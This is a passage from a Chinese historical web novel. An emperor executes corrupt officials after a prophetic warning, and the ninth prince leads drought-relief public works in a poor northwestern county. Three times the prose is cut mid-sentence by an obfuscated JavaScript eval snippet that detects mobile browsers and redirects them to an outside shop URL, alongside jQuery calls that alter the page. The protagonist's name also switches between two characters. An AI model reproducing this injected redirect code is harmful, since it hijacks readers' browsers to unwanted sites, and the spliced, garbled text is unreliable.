“第一,”皇帝竖起一根手指,“内阁会同吏部、都察院,十日内,给朕拿出一份‘京察’与‘大计’的强化章程来。重点稽查钱粮、工程、刑狱、漕运等易生弊案之领域。过往考核,过于看重文书政绩,从今以后,要加重实地访查、民情暗访、以及……账目追溯!查不出问题,就是你们的问题!” “第二,”第二根手指竖起,“都察院、六科廊,即刻增派得力御史、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979276|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给事中,组成专案风宪队,分赴各省,尤其是去岁至今有重大工程、赈济事宜的省份,明察暗访。朕授予他们密折专奏之权,遇重大贪渎情弊,可先拿人后奏报!朕倒要看看,是哪些蛀虫,在啃食我大胤的根基!” “第三,”皇帝的目光落在了般澈身上,又扫过六部尚书,“九皇子般澈,近来做实务,有些心得。他推行新法,用了些土办法,细化规程、实地核查、账目留痕。这些法子,或许笨,但实在。工部、户部、兵部,你们各自辖内,挑选一两件紧要的、易出纰漏的常例事务,比如工部的物料采买、户部的税银起运、兵部的军饷发放,照着这个思路,给朕拿出一套更严密的、可核查的执行细则来!不要跟朕说做不到,先做了再说!” “第四,”皇帝的声音带着森然寒意,“以上所有查核、整顿事宜,凡有阻挠、隐瞒、敷衍、欺瞒者,无论官职大小,背景深浅,一经查实,以欺君、祸国论处!斩立决,抄家产,家人流放!朕要用一批人的脑袋,来告诉天下,也告诉在座的诸位,这吏治,非治不可!这政令,非通不可!” “都听明白了吗?!”最后一句,皇帝几乎是喝问出来。 “臣等明白!谨遵圣谕!”众臣齐声应道,声音带着颤抖。皇帝这是要动真格的了,借天幕预警,行铁腕整顿。可以预见,一场席卷朝野上下的风暴即将来临,不知有多少人会在这场风暴中身败名裂,家破人亡。 “散了吧!”皇帝一挥袖。 众臣如蒙大赦,又似惊弓之鸟,行礼后仓促退出文华殿,许多人连官袍都被冷汗浸湿了。 皇帝独自坐在御座上,看着空荡荡的大殿,眼神幽深。天幕的预警,像一根刺扎在他心里。他不能再等了,不能等到真有西北大旱,真有流民百万的那一天。必须趁现在,借这个“未来预言”带来的震撼和压力,快刀斩乱麻,哪怕掀起腥风血雨,也要把已经有些溃烂的吏治伤口剜一剜。否则,他真怕大胤的未来,会步上天幕中的后尘。 天幕之现,是坏也是好,好在许多事情提前揭露,好在他忍耐许久的东西可以借机披露出来! 景和帝不怕杀人,朝廷最不缺的就是人! 杀了这一批,还有翰林院,还有地方那些等待赏识的学子! “王德安。”皇帝唤道。 “老奴在。” “把朕方才说的四条,拟成明发上谕,通告天下。措辞要严厉。”皇帝顿了顿,“另外,去格物院传个口谕,让般澈把他那套‘细化规程、实地核查、账目留痕’的做法,写成条陈呈上来。还有,京西大营的军械试点,大同边镇的‘战地修缮’试点,给朕盯紧了,每月进展,朕要详细知道。告诉他,好好做,做出个实实在在的样子来。现在,无数双眼睛都盯着呢。” “是,老奴这就去办。” 皇帝望向殿外阴沉的天色。山雨欲来风满楼。 这场由天幕引出的吏治风暴,才刚刚开始。他要看看,这满朝的朱紫公卿,到底有多少是真正的国之栋梁,又有多少,是早已被蛀空了的朽木。 19.永驻西北 不再回京! 正月里最后一点寒气还没散干净,京城菜市口的血腥味倒先飘了起来。 皇帝借天幕掀起的这场吏治风暴,到底还是见了血。 第一批被推到市口问斩的,有七个。三个是户部在江淮赈灾案里吞了银子的小官,两个是兵部底下倒卖陈旧军械的胥吏,还有一个是工部采买石料时以次充好的主事。最扎眼的那个,是都察院派去西北巡查灾情却收钱瞒报的御史。 人头落地的消息传开,朝堂上下都安静了。 先前还有人心存侥幸,觉得皇帝只是雷声大雨点小,做做样子。现在看到真有人掉了脑袋,脖子都跟着凉飕飕的。 格物院里,殷澈听到消息时,正和黄七讨论改良车轴连接处的图纸。 黄七手一抖,墨点溅在纸上。“殿下,这……真杀了?” “杀了。”殷澈面色平静,将那张污了的纸抽开,换上一张新的,“父皇动了真怒。” 他望着窗外的天。 清的,蓝的。 天幕中西北大旱和那硕硕人骨又浮现在了眼前。 那里的贫困不是突然出现的,是长年累月,经历了无数朝代。 人啊,命啊。 殷澈闭了闭眼,随后喊人:“小德子!收拾收拾!我们进宫!” 没人知道他要去干什么。 而此时的乾清宫暖阁,景和帝正发着愁。 人杀了些,空也填上了。爽是爽了,但西北旱情这几个字依旧牢牢的攥住了皇帝的心。 按天幕所言,旱情出现的时机是哀帝刚上位不久。 这个时候的大胤,无论是制度还是底下的人员,都是他继承下去的。 皇帝闭上了眼。 西北,王朝边境,代代贫苦,他们苦太久了,民众苦,镇守的军队也跟着苦。 他想动这里很久了,但是每次有提起的苗头,朝廷的官员便一个一个的接着劝阻。 但现在,他扯了扯嘴角。 天幕揭露出了这一切,西北的群众也能看到,由头来了,这次,谁敢拦他。 景和帝摆了摆手,一旁的王德安立马上前,耳语过后,这位替景和帝忙前忙后的大太监跑了出去。 过了一会儿。 “宣。” 周延儒、钱谦益、工部尚书等人鱼贯而入,行礼后肃立一旁。暖阁里静得能听到铜漏滴水的声音。 皇帝没绕弯子,直接提起了西北旱情这件事。 “天幕之言,犹在耳边。西北若真如预言般大旱半年,流民四起,朝廷拿什么赈?拿什么安?” 周延儒沉吟道:“陛下,天幕预警,不可不防。然西北旱情才露苗头,是否真会如预言般严重,尚未可知。朝廷当未雨绸缪,但亦不可过度惊慌,动摇国本。” “未雨绸缪?”皇帝冷笑,“怎么绸缪?钱谦益,你户部还能挤出多少银子?” 钱谦益额头冒汗:“回陛下,去岁支用已超,今春各地税粮尚未解运入库……若、若只做预防,或可挤出二三十万两应急。但若真有大灾,杯水车薪啊!” 工部尚书也道:“陛下,若需兴修水利以工代赈,工部可调度匠役物料,然钱粮……仍需户部支应。” 绕来绕去,还是个“钱”字。 皇帝闭上眼,手指重重按着眉心。这就是天幕揭示的残酷现实——想法再好,没有钱粮支撑,都是空谈。 而国库,早被经年累月的损耗、贪墨、低效掏得差不多了。 就在这时,殿外传来内侍通传:“陛下,九皇子殿下求见。” 皇帝睁开眼,闪过一丝讶异。“宣。” 殷澈走进暖阁,行礼后,直接道:“父皇,儿臣听闻西北旱情初显,国库吃紧。儿臣……愿赴西北。” 话音落下,暖阁里一片寂静。 几位大臣都愣住了,看向这位站在末尾、身形单薄的年轻皇子。 主动请缨去西北?那可是苦寒之地,旱情凶险未卜,更有天幕预言流民之祸的阴影笼罩。 躲都来不及,怎么还有人往上凑?!! 皇帝盯着他,目光锐利如刀:“你说什么?再说一遍。” 殷澈抬起头,眼神平静,却带着一种不容置疑的决绝:“儿臣愿赴西北最贫瘠的州县,西北旱情,非朝夕现,西北之贫,乃日积月累,儿臣愿赴西北,去那片土地,让西西北民众,有在灾情出现后,就算赈灾粮被贪墨,也能活下去的能力。儿臣愿赴。” 让西北人民,从贫困,迈入小康。 “你知道西北现在什么情形?”皇帝声音低沉,“旱情未明,民情躁动,天幕预言在前。你去了,若控不住局面,引发民变,就是滔天大祸!” “儿臣知道。”殷澈的声音不高,却字字清晰,“正因天幕预言在前,更需有人去破局。坐等灾情出现,流民成潮,则预言自成。唯有主动介入,以务实之法疏导安顿,或可扭转一二。” 他顿了顿,深吸一口气,说出了那句石破天惊的话: “儿臣愿立军令状。此去西北,若试行失败,未能稳住局面,反酿祸端……儿臣愿永驻西北,不再回京。此生不履中原,不见天颜。” “轰——” 暖阁里仿佛有惊雷炸开。 永驻西北,不再回京! 这是拿自己的前程、自由,乃至余生做赌注!赌自己能做到刚刚所说!能破开未来天幕预言的死局! 钱谦益忍不住道:“九殿下,西北情势复杂,非有经验之干吏不能处置。您年轻,且……且身份特殊,亲赴险地,恐有不妥。” 殷澈转向他,语气依旧平稳:“钱尚书,正因儿臣年轻,无根基牵绊,方可放手试行新法。 正因儿臣身份特殊——‘天幕哀帝’,若儿臣能在西北做成此事,岂非最能打破预言,安定人心?” 皇帝久久没有说话。他看着这个儿子,看着他眼里那股近乎执拗的沉静。 这不是一时冲动,是深思熟虑后的孤注一掷。 他想起了天幕里,那个被预言未来会败光江山的儿子,笔记中写下的“疏不如导”“以工代赈”的清晰思路。也想起了这几个月,老九在皇庄、在边镇、在京西大营,弄出来的那些虽土却实的法子。 或许,他真的不一样。 又或许,这是唯一能抢在天灾完全爆发前,落下去的一枚活棋。 “你要多少?”皇帝终于开口。 “钱粮,儿臣只需朝廷允诺的应急款项之半,十五万两。另请调拨一批耐旱作物种子,以及……儿臣格物院现有人员随行。”殷澈显然早有准备,“其余,儿臣自行筹措,或就地解决。” 十五万两,对于可能的大灾,简直微不足道。但皇帝知道,这已是老九权衡后的结果——要多了,朝廷给不起,争论不休,反而误事。 “人员?”皇帝问。 “沈墨精通水利,可勘测规划工程。李九章擅算,可理清钱粮工分账目。赵、孙二位匠人及黄七,可改进工具、就地取材。小德子等人,负责联络协调。” 殷澈一一列举,“此外,儿臣恳请父皇,准许儿臣调用部分京西大营试点中表现优异的匠户学徒,及大同曹总兵处熟悉边情、可靠的退役老兵数人。” 他要带的,是一个精干、务实、能吃苦的小团队。没有冗员,没有闲人。 皇帝沉吟良久。 “准。” 一个字,落地有声。 “朕给你十五万两,耐旱种子工部调拨。你要的人,朕下旨抽调。但朕也有条件。” 皇帝目光如炬, “第一,你此去,只行‘试点’,范围限于一县之地,不可冒进。 第二,所有钱粮支用、工程进度、民情动向,每十日一报,直送朕案头。 第三,若事有不对,或当地官员奏报你举措失当,朕会立刻召你回京,永不叙用。你可能做到?” “儿臣遵旨。”殷澈躬身领命。 “去吧。”皇帝挥挥手,“三日内准备妥当,启程。” “是。” 殷澈退出暖阁。身后,几位重臣神色复杂,欲言又止。皇帝却已疲惫地靠回椅背,闭上了眼睛。 这是一场豪赌。赌注是他一个儿子的未来,更是西北乃至王朝的一线生机。 消息像长了翅膀,瞬间飞遍宫闱朝野。 东宫,太子殷瑁听到消息时,正在练字。笔锋一顿,浓墨在宣纸上洇开一大团。 “永驻西北?”他放下笔,看着那团墨迹,仿佛看到了老九决绝的背影。 “是,殿下。九殿下在御前亲口立誓,若失败,此生不回京。”幕僚低声道。 太子沉默良久。“他倒是敢。” 消息传到二皇子府,殷琮刚练完枪,正擦汗。 “什么?老九要去西北?还立了军令状?”他瞪大眼睛,随手把汗巾扔给亲兵,“这小子,有种啊!” 幕僚谨慎道:“殿下,西北凶险,九皇子此去,吉凶难料。若成了,固然是大功一件;若败了……便是万劫不复。陛下此允,亦是……” “也是没办法。”殷琮接过话头,灌了口凉茶,“国库没钱,天幕预言像把刀悬着。老九这时候站出来,是冒险,也是机会。” 他摸着下巴,眼里闪过欣赏,“别说,这小子虽然文绉绉的,骨头倒是硬。比那些光会耍嘴皮子的强。” “那咱们……” “咱们什么?”殷琮一摆手,“该干嘛干嘛。传话给咱们在西北的人,老九去了,能行方便就行个方便,别使绊子。但也别贴太近,免得沾一身腥。” “是。” 五皇子殷璜那边,反应更复杂些。 清客们议论纷纷,有说九皇子鲁莽的,有说其心怀悲悯的,也有暗中嗤笑其不自量力的。 殷璜听着,没说话。他手里捏着一份刚抄来的、殷澈那“细化规程、账目留痕”的条陈摘要,薄薄一页纸,写得极其朴实。 他看着上面“每日验冰记录表”、“泥炭炉使用台账”、“匠坊物料出入单”这些字眼,又想起天幕里那些被层层盘剥的赈灾粮、那些敷衍了事的“水利工程”。 或许,老九的法子,才是真正能落到实处的东西。 “备车,”殷璜忽然起身,“去格物院。” “殿下?”清客愕然。 “去送送。”殷璜披上外氅,声音平淡,“同是皇子,此去凶险,该当一别。” 格物院里,已是忙而不乱。 殷澈要去西北的消息现在他们才知道,不过所有人都心甘情愿的跟着他。 沈墨正对着西北简陋的地图,勾画可能的水源点和适合兴修小型塘坝的位置。李九章在飞快地核算着有限的十五万两银子如何分派:多少用于初期招募民夫的粮食,多少购买必要工具,多少预留应急。赵、孙两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987301|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位匠人和黄七凑在一起,对着几样西北常见的简陋农具和运输工具草图,讨论如何改进更省力高效。 小德子跑进跑出,清点着要带的行李:厚实的棉衣、耐储存的干粮、常用的药材、笔墨纸砚、还有几箱专门打制的标准件工具和测量仪器。 殷澈自己,则在写一份详细的《西北鄞州县以工代赈试行纲要》。 鄞州,是西北三州中最贫瘠、旱情往往最重的一县,也是他选定试点的地方。 纲要里没一句空话。从如何与当地县令交涉、如何张贴安民告示、如何甄别招募真正贫苦农户,到工程如何分段、每日工分如何记录折算口粮、如何防止管工克扣、如何设立公开账目栏……事无巨细,皆列其中。 他写得很专注,以至于殷璜走进院子,他过了一会儿才察觉。 “五哥?”殷澈起身,有些意外。 殷璜看着院子里热火朝天的景象,看着桌上那写得密密麻麻的纲要,眼神复杂。“九弟,此去……保重。” “多谢五哥。”殷澈请他坐下,“五哥来,可是有事?” 殷璜沉默片刻,道:“我看了你那份条陈。法子虽简,却直指要害。西北之行,千头万绪,你……真有把握?” 殷澈笑了笑:“把握不敢说。只是觉得,坐着等灾来,不如动手做点事。成与不成,总要试过才知道。” “需要什么帮忙吗?”殷璜问得直接,“我在清流文官中尚有几分薄面,或可替你联络几位西北出身、熟知民情的正直官员,为你提供些当地实情。” 这倒是意外之助。殷澈正色道:“若能如此,感激不尽。当地实情,比任何图纸计划都重要。” 殷璜点点头,没再多说,留下几句珍重的话,便起身离去。走到院门,他回头又看了一眼忙碌的众人和伏案疾书的殷澈。 这个九弟,或许真能走出一条不一样的路。 三日后,晨光熹微。 一支不起眼的队伍从格物院出发,出京城北门。没有仪仗,没有喧哗,只有十余辆装载物资的骡车,和几十名骑马或步行的人员。 除了殷澈和他的核心团队,还有十余名从京西大营和大同曹斌处调来的匠户、老兵,个个精悍寡言。 队伍最后,跟着一队二十人的禁军护卫,是皇帝亲自指派的,既为保护,也为监视。 城门外,竟也有人来送。 郭振老将军派了家将,送来几把精制的防身短刃和一句口信:“小子,别死在外头,老子还等你回来喝酒!” 曹斌的快马也到了,除了几句叮嘱,还附了一份鄞州县及周边地形、水源、民风的简要说明,显然是下了功夫搜集的。 甚至户部钱谦益,也派人偷偷塞来一张条子,上面是几个西北钱庄的联络方式和一句:“若应急,可凭此印信支取少量银钱,速还即可。” 殷澈一一谢过,翻身上马。 “出发。” 队伍向着西北,缓缓而行。 就在殷澈离开京城的同一天,另一场风暴在帝都悄然掀起。 开局的见血只是前戏。 景和帝没有因为儿子去了西北就停下整顿吏治的手。相反,这场大戏,借着“预备西北大灾”的名头,清理的步伐更快、更狠了。 都察院和六科廊组成的联合巡查组,拿到了皇帝特许的“先斩后奏”之权,如同出鞘的利剑,直插几个素有“钱粮黑洞”之称的肥缺衙门。 先撞上刀口的,是漕运衙门下属的一个分司。 巡查组突然闯入,封存账册,控制主管官吏。账目一查,漏洞百出。去年拨付的疏浚河道银两,账面用了十万两,实际走访河道,工程量不足三成。剩下的银子,层层分润,从分司主事到下面书吏,人人有份。 人证物证确凿,巡查组连夜呈报。 皇帝朱笔只批了一个字:“斩。” 三日后,菜市口。 分司主事及两名贪墨最巨的副手被押赴刑场。监斩官当众宣读罪状:“……蛀蚀国帑,贻误河工,天灾将至,犹自中饱私囊,实属罪大恶极!” 铡刀落下,血溅三尺。 围观百姓寂静片刻,随即爆发出嗡嗡议论。 “该杀!” “贪官!就知道捞钱!” “听说九皇子去西北救急了,这帮人还在贪!” 消息像风一样刮遍官场。漕运衙门上下震动,其余相关官吏吓得魂不附体,有主动吐赃的,有连夜逃窜的,也有试图找关系抹平的。 但皇帝这次铁了心。巡查组马不停蹄,顺着线索,又挖出了工部物料库一个勾结商人、以次充好的团伙,涉及一批预备运往西北的赈灾建材。 同样,查实即斩。主犯两人,从犯四人,血染刑场。 短短十天,连杀三批,十余人头落地。 血淋淋的人头,比任何圣旨公文都更有威慑力。朝堂风气为之一肃。以往推诿扯皮的,现在动作快了;以往账目模糊的,现在记得仔细了;以往伸手捞钱的,现在至少暂时把手缩了回去。 皇帝要的就是这个效果。非常之时,需用非常之法。 西北那边,儿子在用“疏导安顿”的柔术破局;京城这里,他必须用“雷霆肃杀”的刚腕清道。 一柔一刚,都是为了在那预言的大灾真正降临前,抢出一线生机。 杀戮的消息,也通过快马,传向了西北。 20.做法 半个月后,般澈的队伍终于抵达鄞州县城。 眼前的景象,比想象的更荒凉。县城城墙低矮破败,街道冷清,百姓面有菜色。土地干裂的痕迹已经开始显现,远处山峦一片枯黄。 鄞州县令姓吴,一个五十多岁、满面风霜的老举人,早已得到朝廷文书,忐忑不安地将般澈一行迎入县衙。衙署简陋,后院更是荒草丛生。 吴县令看着眼前这位过分年轻的皇子,心情复杂。天幕预言、皇子亲至……每一样都让他心惊肉跳。做好了未必有功,做差了,第一个掉脑袋的就是他。 般澈没摆皇子架子,直接让沈墨摊开地图,李九章摆开账册。 “吴县令,闲话不提。眼下县中,缺水最甚、农户最穷、青壮闲散最多的,是哪几处?”般澈开门见山。 吴县令愣了一下,连忙指点地图:“回殿下,是城西三十里的张家沟、李家庄一带,还有城北五十里的旱塬区。那里地贫,井深,往年一旱就绝收,青壮多外出扛活,今年……怕是不好找活路了。” “就这两处。”般澈手指点在地图上,“明日一早,请吴县令派人引路,我们去看看。另外,请立即张贴安民告示,内容我稍后给你。要点有三:一,朝廷知晓旱情,特派员前来;二,将以工代赈,招募民夫兴修水利、垦殖荒地,每日管两餐,另计工分,可折口粮或少量工钱;三,应募者需确系本地贫苦农户,由村正里长作保。” 吴县令记下,犹豫道:“殿下,这……管两餐,还要计工分折粮钱,朝廷拨下的钱粮恐怕……” “钱粮我自有计较。”般澈打断他,“你只需照办,并协助维持秩序。另外,县衙库中还有多少存粮?账册拿来。” 吴县令不敢怠慢,命人取来账册。李九章接过,飞速翻阅,眉头越皱越紧。账面存粮数字和实际仓廪情况,明显对不上。 “吴县令,”李九章抬起头,少年人的脸上没什么表情,声音却清冷,“账面应有陈谷一千二百石,实际仓中恐不足八百石。差缺何在?” 吴县令腿一软,扑通跪倒:“殿下明鉴!去岁……去岁征收时便有不足,加之鼠耗虫蚀,历年积亏……下官、下官绝未贪墨啊!”他额上冷汗涔涔,京城连斩贪官的消息,他自然也听说了。 般澈看着他,沉默片刻。这种积年亏空,在地方上太常见了,未必全是县令一人之过。但现在,他没时间也没精力去彻查陈年旧账。 “以往之事,暂且不究。”般澈缓缓道,“但从今日起,县衙所有钱粮出入,须由我派员协同登记,每日核对,账目公开。你若配合,安稳度过今次,或可既往不咎。若再有差池,”他顿了顿,声音不高,却带着寒意,“京城菜市口,不缺你一颗人头。” 吴县令浑身一颤,连连磕头:“下官明白!下官一定尽心竭力,配合殿下!” “起来吧。”般澈让他起身,“现在,带我们去粮仓。” 接下来的两天,般澈一行人马不停蹄。实地勘察了张家沟和李家庄的地形水源,沈墨初步选定了两处适合修建小型蓄水塘坝的位置。走访了旱塬区的村落,看到的是更多面黄肌瘦的百姓和干涸的土地。 安民告示已经贴出,但应者寥寥。百姓疑虑,观望,不相信天上会掉下这样的好事。 转机出现在第三天。 清晨,县衙外忽然来了几十个衣衫褴褛的汉子,领头的是个独臂的老者,自称是李家庄的里长。 “官爷,告示上说的,管饭,还记工分,是真的?”老者声音沙哑,眼里混浊却带着最后的期盼。 “是真的。”般澈亲自走出来,“你是李家庄里长?村里能出多少劳力?可有手艺?” 老者看着般澈年轻却沉静的脸,又看看他身后那些不像官老爷、倒像干活人的随从,咬了咬牙:“庄子里能动的男丁,还有力气大的妇人,加起来能有百十号。手艺……会挖土,垒石头,算不算?” “算。”般澈点头,“只要肯下力气,就算。今日就可报名登记,明日开工。开工前,先发一顿饱饭。” “饱饭”两个字,像火星掉进干草堆。 消息在李家庄炸开。很快,张家沟、旱塬区其他村子的人也闻风而来。县衙外排起了长队。小德子带着人登记名册,李九章负责核对发放第一顿“安家粮”——每人两个杂面馍,一碗稀粥。 粮食是从县衙仓廪和般澈自带物资中挤出来的,不多,但足以让饿久了的人眼睛发绿。 第四天,第一批工程——李家庄蓄水塘坝——正式开工。 没有隆重的仪式,般澈和沈墨站在选定的坝址前,对着聚拢过来的百余名民夫,直接开始分派。 “会看土挖沟的,跟这位沈先生。” “力气大能抬石的,到这边。” “妇孺负责搬运小石、递送工具、烧水做饭。” “每十人一队,选一临时队长,负责领工具、记出工。” “每日收工,凭队长条子,到这里领当日工分牌,凭牌明日换口粮。” 规矩简单明了。工具是改进过的铁锹、镐头,虽然还是简陋,但比百姓自家的顺手。赵匠人和几个老兵穿梭在人群中,指导如何更省力地使用。 开工第一天,效率不高,混乱不少。但到了下午,秩序慢慢建立起来。因为每个人都知道,干完活,真的能领到代表口粮的竹牌。 傍晚,收工。民夫们拖着疲惫的身子,聚到临时搭建的工分登记处。李九章和小德子等人,对照着各队长的条子,飞快地计算、发放刻有不同记号的竹牌。旁边,大锅里熬着稠粥,蒸着馍,香气飘散。 当第一个民夫捧着热粥和杂面馍,蹲在地上狼吞虎咽时,更多的人眼眶红了。 这不是施舍,这是他们用汗水换来的。 希望,就像干裂土地里冒出的第一点绿芽,艰难却顽强地钻了出来。 消息在鄞州县飞快传开。更多的村庄,更多的闲散劳力,甚至是附近州县听到风声的流民,开始向李家庄、张家沟汇聚。 压力,也随之而来。 人多了,粮食消耗剧增。十五万两银子看似不少,但购买粮食、工具、支付必要开销,如流水般花出去。李九章的账本记得密密麻麻,眉头越锁越紧。 更麻烦的是,人员庞杂,难免混进偷奸耍滑、甚至意图滋事之徒。工地秩序,粮食物资看守,都成了问题。 就在工程进行到第十天,第一起恶性事件发生了。 深夜,存放部分粮食和工具的临时仓库遭窃。看守的两名老兵被人打晕,虽未致命,但粮食被盗走十余袋,几件重要工具丢失。 消息报到般澈这里时,天还没亮。 他脸色沉静,眼底却有寒光闪过。 “查。”只有一个字。 小德子和禁军护卫头领立刻行动。现场痕迹杂乱,但很快锁定了几个可疑对象——是最近从邻县流窜过来的几个青皮无赖,混在民夫中,出工不出力,眼珠子总往仓库瞟。 人很快被揪了出来,赃物也在一处荒草丛中找到部分。 清晨,工地开工前。 所有民夫被召集到坝址前的空地上。中间,跪着那三个被绑得结结实实的窃贼。旁边,是找回的粮食和工具。 般澈站在一块高石上,目光扫过黑压压的人群。经过这些天的劳作和饱饭,许多人脸上有了点活气,但此刻都屏息凝神,带着惊惧和好奇。 “诸位乡亲,”般澈的声音不大,却清晰地传开,“朝廷派我来,是给大家一条活路,一起熬过旱灾。这活路,靠的是我们自己的力气,是公平和规矩。” 他顿了顿,指向地上跪着的三人:“但他们,不想出力,只想偷窃。偷的,是大家明日干活的口粮,是修坝保命的工具。他们偷走的,不是我的东西,是你们每个人碗里的粥,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997223|192347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们妻儿老小的指望!” 人群骚动起来,看向那三人的目光充满了愤怒。 “按朝廷律法,盗窃官仓物资,重者可判流放甚至斩首。”般澈缓缓道,“但今日,我不按官法,按我们工地的规矩。” 他看着那三人:“你们三人,偷盗工粮工具,人赃并获。按规,逐出工地,永不录用,所盗物资折价,从你们之前所得工分中扣除,不足部分,以役抵偿。” 这个处罚,看似比官法轻,但对这些指望工地活命的人来说,逐出工地、扣光工分,等于断了生路。 那三人脸色惨白,连连磕头求饶。 般澈不为所动,继续道:“但,偷盗之事,非止于此。看守疏忽,亦有责任。”他看向那两名被打晕的老兵,“你二人失职,罚扣三日工分,调离看守之职,去干最苦的挖土活。” 老兵羞愧低头领罚。 “还有,”般澈的目光再次扫向所有人,“今日起,工地立新规。每队民夫,互相监督检举。凡有偷盗、破坏、滋事者,队中知情不报,全队连坐,扣罚工分!举报属实者,有赏!” 连坐!举报有赏! 人群彻底安静了,人人脸色肃然。这意味着,谁再想干坏事,不仅自己倒霉,还会连累同队几十号人没饭吃。而身边的人,为了自己的口粮,也会盯着你。 “规矩立下了,”般澈最后道,“望诸位共守。我们在这里,是为自己,为家人挣一条活路。活路,容不下蛀虫。” 他挥挥手:“带下去,行罚。然后,开工!” 那三人被拖走,哭嚎声渐渐远去。人群沉默地散去,回到各自的岗位。但气氛明显不同了,多了一份紧绷的纪律,少了一些散漫躁动。 接下来的几天,工地秩序井然,效率竟隐隐有所提升。小偷小摸绝迹,甚至有人主动举报了一起私藏工具的苗头。 鄞州县城的吴县令,听闻此事,暗暗咂舌。这位九皇子,年纪轻轻,手腕却硬得很。恩威并施,规矩立得明白,处罚也毫不含糊。比起京城传来的血腥杀戮,这番处置看似温和,实则同样凌厉,直指人心。 他知道,这位殿下,恐怕比那些只知道砍头的京官,更难对付。 而此刻的京城,杀戮仍在继续。 漕运、工部的案子,牵出了户部一名郎中,其在拨付一笔河工款项时收受巨额贿赂,导致工程偷工减料,去年一场小汛就冲垮了新修的堤段。 皇帝震怒。 这一次,他没有立刻批斩。而是下旨,将此郎中及其主要行贿的商人,押赴去年决堤的河段旁,公开审判。 审判当日,河岸旁聚集了众多被那次决堤殃及的百姓。 罪状宣读完毕,皇帝特使当众宣判:“……贪墨河工款,致使堤防不固,黎民受灾,罪同祸国!依律,斩立决!并,抄没家产,半数赔偿受灾百姓!” 刽子手刀落,血溅河滩。 围观的百姓先是惊骇,随即爆发出震天的哭喊和叫好声。有失去亲人的灾民跪地磕头,有被毁了田地的农户痛哭流涕。 这一次的“杀”,不仅仅是为了震慑官吏,更是为了收拢民心,为了昭示朝廷“惩贪安民”的决心。 消息再次以最快速度传遍天下。 西北鄞州工地上的般澈,也收到了京城来的密报。他看着简报上“河畔斩贪,以慰灾民”的字样,沉默许久。 父皇在京城以血开路,他在西北以工聚心。一在朝,一在野;一刚猛,一绵长。目的却是一样的:在这天灾人祸交织的困局里,为这个王朝,撬开一道生缝。 他将密报收起,望向远处干裂的黄土和正在缓慢成型的堤坝轮廓。 坝要一层层夯,路要一步步走。 血已流了,工已开了。 接下来,就看这人心,能不能真的拢住;看这生机,能不能真的从这片干旱的土地上,挣扎出来了。 21.试水 鄞州的三月,风依旧干冷,但冻土已经化开。 李家庄新修的水塘蓄上了从山涧引来的雪水,虽然不深,却像一块碧玉,嵌在枯黄色的塬坡下。水渠边,几户农人正小心翼翼地引水浸润刚翻过的田地,准备试种新到的耐旱黍种。 这是播种的希望。 县衙后堂,殷澈正在看沈墨递上来的《鄞州县水利长远规划草图》。 图上,以李家庄水塘为起点,几条细细的蓝线向周围几个村子延伸,标注着未来三年内可能修建的小型蓄水堰、引水渠的位置和预计灌溉范围。 “殿下,”沈墨指着图上一个标记点,“这里是张家沟,地势略高,引水不易。但若能在此处修建一个简易的扬水车,利用风力或畜力,可将李家庄水塘的水提升过去,至少能保障五十亩良田的春灌。图纸和模型,黄七带着工匠已经在试做了。” 殷澈点点头:“不错。不贪大,务求实效。一个点一个点地啃,三年内,要让鄞州至少三成的耕地,旱季有水可用。” 他顿了顿,“那些老兵呢?安置得如何?” 小德子忙回道:“曹总兵推荐来的七位屯田老卒,都已安置妥当。带了家眷的,分给了些荒地自种;单身的老兵,分派到各工地做‘田师’,指导挖渠、垒坝、看土质。工钱按工匠头目算,他们都挺满意。” “要的就是他们的经验。”殷澈道,“告诉他们,好好干,把本事教给本地后生。将来鄞州的水利田亩管好了,他们就是头功。” 正说着,李九章抱着账册进来了,脸上难得带了些轻松:“殿下,上月收支核算出来了。” 账册摊开,条目清晰。收入主要是朝廷前期拨付的款项余留,以及少量县衙清理历年积欠追回的杂税。支出则分了几大类:水利工程物料人工、县学及工匠学徒津贴、耐旱种子采购、老兵安家及酬劳、衙署日常运转。 “得益于曹将军帮忙平价购粮,又有一批老兵加入后,本地雇工费用有所下降,”李九章指着其中一行,“上月实际支出比预算节省了一成半。结余的银钱,已按殿下吩咐,购入了一批备用铁料和桐油,存在新建的县库中。” “账目公开栏那边,反响如何?”殷澈问。他要求县衙门口设一木牌,每月将重大收支摘要公之于众。 小德子笑道:“百姓起初看不懂,后来咱们派识字的人去讲解,如今每贴出新账,都围着一堆人瞧稀奇。都说从没见过官府把银子怎么花的写得这么明白。” “要的就是这个明白。”殷澈语气平静,“我们不贪不占,每一文钱花在实处,就让百姓看着。看得久了,他们才会信,这不是一阵风,是长远打算。” 